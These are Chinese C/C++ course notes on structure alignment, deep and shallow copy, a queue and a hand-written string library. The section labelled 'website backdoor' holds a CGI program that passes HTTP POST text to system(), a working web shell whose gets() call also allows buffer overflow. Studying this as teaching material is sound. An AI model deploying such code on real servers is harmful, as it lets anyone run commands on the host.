【C/C++学院】0730-网站以及后门/结构体对齐、结构体面试分析/深拷贝与浅拷贝/队列/字符串封装



网站以及后门

Windwos安装Apache服务器软件,进行测试。Localhost

将可执行程序xxx.exe改为xxx.cgi放到apache服务器上,通过浏览器进行访问。

#define   _CRT_SECURE_NO_WARNINGS
#include<stdio.h>
#include<stdlib.h>
#include<string.h>

void main()
{
	printf("Content-type:text/html\n\n");
	printf("%s<br><br>",  getenv("QUERY_STRING"));//打印环境变量
	char szPost[256] = {0};
	gets(szPost);//获取输入
	printf("%s<br><br>", szPost);//获取输入
	//"BBB=tasklist&AAA=%C7%EB%BD%F8
	char *p = szPost + 4;//0,1,2,3
	char *p1 = strchr(szPost, '&');
	*p1 = '\0';

	char cmd[256] = { 0 };
	sprintf(cmd, "%s >1.txt", p);//字符串映射
	system(cmd);
	FILE *pf = fopen("1.txt", "r");
	while (!feof(pf))//如果没有到文件末尾就继续
	{
		char ch = fgetc(pf);
		if (ch == '\n')
		{
			printf("<br><br>");//换行
		}
		else
		{
			putchar(ch);//打印字符
		}
	}
}

结构体对齐、结构体面试分析

#include<stdio.h>
#include<stdlib.h>

//最宽基本基本成员,char , int,double,结构体数组都不是最宽基本成员
//结构体大小必须可以整除最宽基本成员,是最宽基本成员的整数倍
//结构体成员地址减去结构体首地址,就是偏移量,偏移量必须可以整除成员的基本类型

struct info
{
	char c;//1     2     4       8
	double  sh;//1    2     4    8
	char ch[9];//9 10    12      16

};
struct info1
{

	short sh1;    //8   4  //2
	int   sh;    //8    4  //4
	char ch[19];  //16  20 //19

};

void main2()
{
	struct info1  info11 = {10,200,"123456"};
	printf("%p\n", &info11);
	printf("%p\n", &info11.sh1);
	printf("%p\n", &info11.sh);
	printf("%p\n", &info11.ch);

	getchar();
}

void main1()
{

	printf("%d", sizeof(struct info1));

	system("pause");
}

深拷贝与浅拷贝

#define _CRT_SECURE_NO_WARNINGS
#include<stdio.h>
#include<stdlib.h>
#include<string.h>

struct string
{
	char *p;
	int length;
};

void main11()
{
	struct string str1;
	str1.length = 10;
	str1.p =(char *) malloc(sizeof(char)* 10);
	strcpy(str1.p, "hello");
	printf("\nstr1.p=%s", str1.p);//输出结果
	struct string str2;
	str2.length = str1.length;
	str2.p = str1.p;
	*(str1.p) = 'k';//浅拷贝,共享内存
	printf("\nstr2.p=%s", str2.p);//输出结果
	system("pause");
}

void   main123()
{
	struct string str1;
	str1.length = 10;
	str1.p = (char *)malloc(sizeof(char)* 10);
	strcpy(str1.p, "hello");
	printf("\nstr1.p=%s", str1.p);//输出结果
	struct string str2;
	str2.length = str1.length;
	str2.p =(char *) malloc(sizeof(char)* 10);
	strcpy(str2.p, str1.p);//拷贝内存内容
	*(str1.p) = 'k'; //深拷贝是拷贝内存的内容,
	printf("\nstr2.p=%s", str2.p);//输出结果
	system("pause");
}

队列

//队列.h

#include<stdio.h>
#include<stdlib.h>

#define  N 100   //定义队列最大多少个
#define  datatype char   //定义队列的数据类型

struct queue
{
	datatype data[N];//保存数据的数组
	int front;//数据的开头  ,拉屎
	int rear;//数据的结尾,吃进去
};
typedef struct queue Q;//给已经有的类型简化一下

void  init(Q * myqueue);//初始化队列
int  isempty(Q * myqueue);//判断是否为空,1代表为空,0代表不为空

void  enQueue(Q * myqueue, datatype num);//入队,吃进去
datatype DeQueue(Q * myqueue);//出队,拉屎,返回值就是拉的
void  printfQ(Q * myqueue);//打印队列所有的元素
datatype gethead(Q * myqueue);//获取开头的一个节点

//队列.c

#include"队列.h"

void  init(Q * myqueue)//初始化队列
{
	myqueue->front = myqueue->rear = 0;//表示为空
}

int  isempty(Q * myqueue)//判断为空
{
	if (myqueue->front == myqueue->rear)
	{
		return 1;
	}
	else
	{
		return 0;
	}
}

void  enQueue(Q * myqueue, datatype num)
{
	if (myqueue->rear == N)
	{
		printf("吃东西失败");
		return ;//失败
	}
	else
	{
		myqueue->data[myqueue->rear] = num;//赋值
		myqueue->rear += 1;//增加一个
	}
}

datatype DeQueue(Q * myqueue)   //拉屎的过程
{
	if (myqueue->front == myqueue->rear)
	{
		printf("拉屎失败");
		return -1;
	}
	else
	{
		myqueue->front += 1;//拉屎
		return  myqueue->data[myqueue->front - 1];//返回你拉的
	}
}

void  printfQ(Q * myqueue)//打印队列所有的元素
{
	printf("\n");
	if (myqueue->front == myqueue->rear)
	{
		printf("\n你的肠胃为空");
	}
	else
	{
		for (int i = myqueue->front; i < myqueue->rear;i++)
		{
			printf("%c  ", myqueue->data[i]);//显示你的肠胃
		}
	}
}

datatype gethead(Q * myqueue)
{
	if (myqueue->front == myqueue->rear)
	{
		printf("\n肠胃为空,无法找到你要最先拉的屎");
		return -1;
	}
	else
	{
		return myqueue->data[myqueue->front];//返回第一个节点
	}
}

//main.c

#include<stdio.h>
#include<stdlib.h>
#include"队列.h"

void main()
{
	Q Q1;//创建一个结构体变量
	init(&Q1);//初始化
	enQueue(&Q1, 'A');
	printfQ(&Q1);
	enQueue(&Q1, 'B');
	printfQ(&Q1);
	enQueue(&Q1, 'C');
	printfQ(&Q1);
	enQueue(&Q1, 'D');
	printfQ(&Q1);
	enQueue(&Q1, 'E');
	printfQ(&Q1);

	DeQueue(&Q1);
	printfQ(&Q1);
	DeQueue(&Q1);
	printfQ(&Q1);
	DeQueue(&Q1);
	printfQ(&Q1);
	DeQueue(&Q1);
	printfQ(&Q1);
	DeQueue(&Q1);
	printfQ(&Q1);
	DeQueue(&Q1);
	printfQ(&Q1);

	system("pause");
}

字符串封装

//字符串.h

#define  _CRT_SECURE_NO_WARNINGS
#include<stdio.h>
#include<stdlib.h>
#include<string.h>

//字符串封装,需要库函数
//不需要库函数
struct CString
{
	char *p;//保存字符串首地址
	int reallength;//实际长度
};
typedef struct CString  mystring;//简写

//字符串,初始化,打印,
//查找,查找字符,查找字符串
//尾部增加,(字符,字符串)
//删除(字符,字符串),
//任意位置增加(字符,字符串)

////修改字符串,(字符,字符串替换)
void init(mystring *string);//原封不动初始化
void initwithlength(mystring *string,int length);//开辟长度,内存清零
void initwithstring(mystring *string,char *copystring);//初始化并拷贝字符串
void printfstring(mystring *string); //打印
void backaddchar(mystring *string,char ch);//增加字符
void backaddstring(mystring *string,char*str);//增加字符串
void run(mystring *string);//执行指令
char * findfirstchar(mystring *string, char ch);//返回第一个找到的字符的地址
char * findfirststring(mystring *string, char *str);//返回第一个找到的字符串的地址
int deletefirstchar(mystring *string,const char ch);//删除第一个找到的字符
int deletefirststring(mystring *string, char * const str);//删除第一个找到的字符串
void addchar(mystring *string, char ch,char *pos);//任意增加字符
void addstring(mystring *string, char*str,char *pos);//任意增加字符串
void  changefirstchar(mystring *string, const char oldchar, const newchar);//改变字符
void changefirststring(mystring *string, char * const oldstring, char *const newstring);//改变字符串

//字符串.c

#include"字符串.h"

int mystrlen(char *p)
{
	if (p == NULL)
	{
		return -1;//失败,
	}
	int length = 0;
	while (*p != '\0')//字符串终止条件
	{
		length++;//长度自增
		p++;//指针不断向前
	}
	return length;

}

char *mystrcpy(char *dest, const char *source)//const限定不被意外修改
{
	if (dest == NULL || source == NULL)
	{
		return  NULL;//为空没有必要干活了
	}
	char * destbak = dest;
	while (*source != '\0')//一直拷贝
	{
		*dest = *source;//赋值字符
		source++;
		dest++;//指针不断向前,字符挨个赋值
	}
	*dest = '\0';//结尾
	return destbak;//返回地址
}

char *mystrcat(char *dest, const char *source)
{
	if (dest == NULL || source == NULL)
	{
		return NULL;//失败
	}
	else
	{
		char *destbak = dest;//保留地址
		while (*dest != '\0')
		{
			dest++;//指针向前移动
		}
		//从尾部开始拷贝
		while (*source != '\0') //循环被被拷贝的字符串
		{
			*dest = *source;//字符串赋值
			dest++;
			source++;
		}
		*dest = '\0';//结尾
		return destbak;

	}
}

char * mystrchr(const char *dest, const char ch)
{
	if (dest == NULL)
	{
		return NULL;
	}
	while (*dest!='\0')
	{
		if (*dest == ch)
		{
			return dest;//找到返回地址
		}
		dest++;
	}
	return  NULL;//返回
}

char *mystrstr(const char * const  dest, const char * const findstr)
{
	if (dest == NULL || findstr == NULL)
	{
		return NULL;
	}
	char *destbak = dest;
	char *p = NULL;//保存找到的地址
	while (*destbak != '\0')
	{
		int flag = 1;//假定是相等
		char *findstrbak = findstr;
		char *nowdestbak = destbak;
		while (*findstrbak != '\0')
		{
			if (*nowdestbak != '\0')
			{

				if (*findstrbak != *nowdestbak)//有一个不等
				{
					flag = 0;//赋值为0代表不等
				}
				nowdestbak++;
				findstrbak++;
			}
			else
			{
				flag = 0;//设置标识
				break;
			}
		}

		if (flag == 1)
		{
			p = destbak;//当前位置
			return p;
		}
		  destbak++;
	}
	return NULL;
}

void init(mystring *string)
{
	string->p = NULL;
	string->reallength = 0;//初始化结构体字符串
}

void initwithlength(mystring *string, int length)
{
	//string->p =(char *) malloc(sizeof(char)*length);//分配内存
	string->p = (char *)calloc(length, sizeof(char));//分配内存并清零
	string->reallength = length;//长度
}

void initwithstring(mystring *string, char *copystring)
{
	int length = strlen(copystring);//获取字符串长度
	string->p =(char *) calloc(length + 1, sizeof(char));//分配内存
	mystrcpy(string->p, copystring);//拷贝字符串
	string->reallength = length + 1;//设置长度
}

void backaddchar(mystring *string,char ch)
{
	if (mystrlen(string->p)+1==string->reallength)//意味着满了
	{
		//重新分配内存
		string->p = realloc(string->p, string->reallength + 1);
		string->reallength += 1;
		string->p[string->reallength - 2] = ch;
		string->p[string->reallength - 1] = '\0';
	}
	else
	{
		int nowlength = mystrlen(string->p);//求出当前长度
		string->p[nowlength] = ch;
		string->p[nowlength + 1] = '\0';//字符的增加
	}
}

void backaddstring(mystring *string, char*str)
{
	int nowmystringlength = mystrlen(string->p);//获取当前长度
	int addstringlength = mystrlen(str);//要增加的长度
	if (nowmystringlength + addstringlength+1 >string->reallength)//判定是否越界
	{
		int needaddlength = nowmystringlength + addstringlength + 1 - (string->reallength);
		//printf("%d", needaddlength);
		string->p = (char *)realloc(string->p, string->reallength + needaddlength);//增加字符串长度
		mystrcat(string->p, str);//拷贝字符串
		string->reallength += needaddlength;//增加长度
	}
	else
	{
		mystrcat(string->p, str);//拷贝字符串
	}
}

void printfstring(mystring *string)
{
	printf("\nstring=%s", string->p);//打印字符串
}

void run(mystring *string)
{
	system(string->p);//执行指令
}

char * findfirstchar(mystring *string, char ch)
{
	char *p = mystrchr(string->p, ch);//查找
	return p;
}

char * findfirststring(mystring *string, char *str)
{
	char *pres = mystrstr(string->p, str);
	return pres;//返回地址
}

int deletefirstchar(mystring *string, const char ch)
{
	char *p = mystrchr(string->p, ch);//查找
	if (p == NULL)
	{
		return 0;
	}
   else
   {
	   char *pnext = p + 1;
	   while (*pnext != '\0')
	   {
		   *p = *pnext; //删除一个字符整体向前移动
		   p++;
		   pnext++;
	   }
	   *p = '\0';//字符串要有结尾
	   return 1;
    }
}

int deletefirststring(mystring *string, char * const str)
{
	char *pres = mystrstr(string->p, str);//查找
	if (pres == NULL)
	{
		return 0;
	}
	else
	{
		int length = mystrlen(str);//求字符串长度
		char *pnext = pres + length;//下一个字符
		while (*pnext != '\0')
		{
			*pres = *pnext; //删除一个字符整体向前移动
			pres++;
			pnext++;
		}
		*pres = '\0';//字符串要有结尾
		return 1;
	}
}

void addchar(mystring *string, char ch, char *pos)
{
	if (pos == NULL || string ==NULL)
	{
		return;
	}
	if(mystrlen(string->p) + 1 == string->reallength)//意味着满了
	{
		//重新分配内存
		string->p = realloc(string->p, string->reallength + 1);
		string->reallength += 1;

		int nowlength = mystrlen(string->p);//求出当前长度
		int movelength = mystrlen(pos);//求出现在要移动的长度
		for (int i = nowlength; i > nowlength - movelength; i--)//移动
		{
			string->p[i] = string->p[i - 1];//轮询
		}
		string->p[nowlength - movelength] = ch;//插入

		string->p[nowlength + 1] = '\0';//结尾
	}
	else
	{
		int nowlength = mystrlen(string->p);//求出当前长度
		int movelength = mystrlen(pos);//求出现在要移动的长度
		for (int i = nowlength; i > nowlength-movelength; i--)//移动
		{
			string->p[i] = string->p[i - 1];//轮询
		}
		string->p[nowlength - movelength]=ch;//插入
		string->p[nowlength + 1] = '\0';//结尾
	}

}

void addstring(mystring *string, char*str, char *pos)//任意增加字符串
{
	if (pos == NULL || string == NULL)
	{
		return;
	}
	int nowmystringlength = mystrlen(string->p);//获取当前长度
	int addstringlength = mystrlen(str);//要增加的长度
	if (nowmystringlength + addstringlength + 1 >string->reallength)//判定是否越界
	{
		int needaddlength = nowmystringlength + addstringlength + 1 - (string->reallength);
		//printf("%d", needaddlength);
		string->p = (char *)realloc(string->p, string->reallength + needaddlength);//增加字符串长度
		string->reallength += needaddlength;//增加长度

		//先移动,再拷贝
		int nowlength = mystrlen(string->p);//求出当前长度
		int movelength = mystrlen(pos);//求出现在要移动的长度
		int insertlength = strlen(str);//要求出插入的长度

		for (int i = nowlength; i >=nowlength-movelength ; i--)
		{
			string->p[i + insertlength]=string->p[i];//字符移动
		}
		for (int j = 0; j < insertlength;j++)
		{
			string->p[nowlength-movelength+j]= str[j];//赋值拷贝
		}
	}
	else
	{
		int nowlength = mystrlen(string->p);//求出当前长度
		int movelength = mystrlen(pos);//求出现在要移动的长度
		int insertlength = strlen(str);//要求出插入的长度
		for (int i = nowlength; i >= nowlength - movelength; i--)
		{
			string->p[i + insertlength] = string->p[i];//字符移动
		}
		for (int j = 0; j < insertlength; j++)
		{
			string->p[nowlength - movelength + j] = str[j];//赋值拷贝
		}
	}
}

void  changefirstchar(mystring *string, const char oldchar, const newchar)//改变字符
{
	char *pstr = string->p;
	while (*pstr != '\0')
	{
		if (*pstr == oldchar)//查找
		{
			*pstr = newchar;//赋值
			return;
		}
		pstr++;
	}
}

void changefirststring(mystring *string, char * const oldstring, char *const newstring)//改变字符串
{
	char *pfind = findfirststring(string, oldstring);//找到位置
	if (pfind != NULL)
	{
		deletefirststring(string, oldstring);//删除
		addstring(string, newstring, pfind);//插入
	}
}

//main.c

#include<stdio.h>
#include<stdlib.h>
#include"字符串.h"
void main()
{

	mystring string1;
	initwithstring(&string1,  "note");
	printfstring(&string1);

	//backaddchar(&string1, 'd');
	backaddstring(&string1, "padnotepadnotepad");
	printfstring(&string1);
	while (findfirststring(&string1,"notepad"))
	{
		changefirststring(&string1, "notepad", "123456789");
	}

	//char *p = findfirstchar(&string1, 't');
	//if (p != NULL)
	//{
	//	addstring(&string1, "12345", p);
	//}

	//deletefirstchar(&string1, 'e');
	//deletefirststring(&string1, "pad");

	//char *strp = findfirstchar(&string1, 'a');
	//*strp = 'A';
	/*char *strp = findfirststring(&string1, "ada");
	if (strp != NULL)
	{
		*strp = 'X';
	}*/
	printfstring(&string1);

	//run(&string1);

	system("pause");

}
时间: 2024-11-03 22:16:27

【C/C++学院】0730-网站以及后门/结构体对齐、结构体面试分析/深拷贝与浅拷贝/队列/字符串封装的相关文章

C中的结构体对齐可以把下一个的类型补到前一个???

问题描述 C中的结构体对齐可以把下一个的类型补到前一个??? 解决方案 结构体对齐说的是编译器的事情,不是你定义一个字段然后自己去凑.千万不要从百度百科这种垃圾网站获得信息. 解决方案二: 同一类型的可以合并,很正常, 从对齐看,对其对齐要求是一样的,不冲突 实际上 char,char ,short 也可以合并成 一个int 当 char 8Bits,short16Bits,int32bits 的时候 只有当下个数据, 不在对齐位置的时候, 才会在两个数据中间插入间隙.

double类型结构体对齐的疑惑

问题描述 double类型结构体对齐的疑惑 32bit的cpu,在msvc中如果结构体有double类型,则以8字节对齐,例如 struct test { char ch; double j; }; ch也会占用8个字节,而32bit的cpu会一次性取到8个字节么?难道不是32bit,4个字节? 为什么要以8个字节来对齐呢?谢谢 解决方案 如果编译器为sse优化,那么是按照128bit,也就是8字节对齐的,如果编译器为sse2优化,那么是按照16字节对齐的.http://www.xuebuyua

关于C语言中的结构体对齐

(1)什么是字节对齐 一个变量占用 n 个字节,则该变量的起始地址必须能够被 n 整除,即: 存放起始地址 % n = 0, 对于结构体而言,这个 n 取其成员种的数据类型占空间的值最大的那个. (2)为什么要字节对齐 内存空间是按照字节来划分的,从理论上说对内存空间的访问可以从任何地址开始,但是在实际上不同架构的CPU为了提高访问内存的速度,就规定了对于某些类型的数据只能从特定的起始位置开始访问.这样就决定了各种数据类型只能按照相应的规则在内存空间中存放,而不能一个接一个的顺序排列. 举个例子

struct-结构体初始化问题, 定义了结构体和结构体数组,结构体中想存的数据写在了txt文件中,我该怎么做初始化

问题描述 结构体初始化问题, 定义了结构体和结构体数组,结构体中想存的数据写在了txt文件中,我该怎么做初始化 定义了结构体和结构体数组,结构体中想存的数据写在了txt文件中,我该怎么做初始化//定义结构体//struct achievement{int number; char name[20]; char sex; float achievement1achievement2achievement3;}tab_achievement[N]; 解决方案 写一个循环,从txt中读取数据,然后赋值

c语言中结构体对齐详解

为什么要对齐?     现代计算机中内存空间都是按照byte划分的,从理论上讲似乎对任何类型的变量的访问可以从任何地址开始,但实际情况是在访问特定类型变量的时候经常在特 定的内存地址访问,这就需要各种类型数据按照一定的规则在空间上排列,而不是顺序的一个接一个的排放,这就是对齐.     对齐的作用和原因:各个硬件平台对存储空间的处理上有很大的不同.一些平台对某些特定类型的数据只能从某些特定地址开始存取.比如有些架构的CPU在访问 一个没有进行对齐的变量的时候会发生错误,那么在这种架构下编程必须保

c语言-有关结构体及结构体指针的引用

问题描述 有关结构体及结构体指针的引用 (假如结构体 student 里定义了 int double.. 定义了一个结构体指针stu 并且分配了内存 请问输入成员变量时是否内存溢出 以及 读取指针后面内存数据的方式是由编译器控制的吗 解决方案 12321321321321asdasdsdasdsdasdasd21321321313qwasdadasdde2131323 解决方案二: 我的上传资料有几个你可以看一看. 解决方案三: 结构体&&指针c语言结构体自引用指针结构体指针的定义和引用

编程c语言-vs2013中如何定义一个结构体该结构体定义一个结构体数组 结构体数组中包含一个链表

问题描述 vs2013中如何定义一个结构体该结构体定义一个结构体数组 结构体数组中包含一个链表 这样定义对么 编译时报错 缺少:在*前面 这是哪错了啊 请高手指点指点 解决方案 你把两个结构体的定义调换一下次序就没问题啦,要先声明或定义结构体:Station,才能使用 解决方案二: 因为struct Station是在struct Train结构体之后才定义的,所以你要在这之前先声明一下struct Train 解决方案三: 做一个前向声明,或者调换两个结构位置都可以. 解决方案四: 结构体数组

c语言-有关结构体及结构体指针

问题描述 有关结构体及结构体指针 请问 如果定义了结构体指针不分配内存会怎样 请问 如果定义了结构体指针不分配内存会怎样 解决方案 ? ? 结构体和指针 结构指针变量:结构指针变量的说明和使用一个指针变量用来指向一个结构变量时 结构指针变量中的值是所指向的结构变量的首地址.通过结构指针即可访问该结构变量,这与数组元素的指针和函数指针的情况是相同的. 结构指针变量说明的一般形式为: struct 结构名 * 结构指针变量名 例如: struct stu *pstu; ? 其访问的......答案就

struct-数组和结构体对齐关系,求大神解决!

问题描述 数组和结构体对齐关系,求大神解决! #include typedef struct { unsigned char a; unsigned char b; unsigned int c; unsigned short d; unsigned int e; } ABC; const unsigned short code1[6] = {0x1607,0x1003,0x1008,0x2001,0x3002,0x4003}; void main(void) { ABC * p = (ABC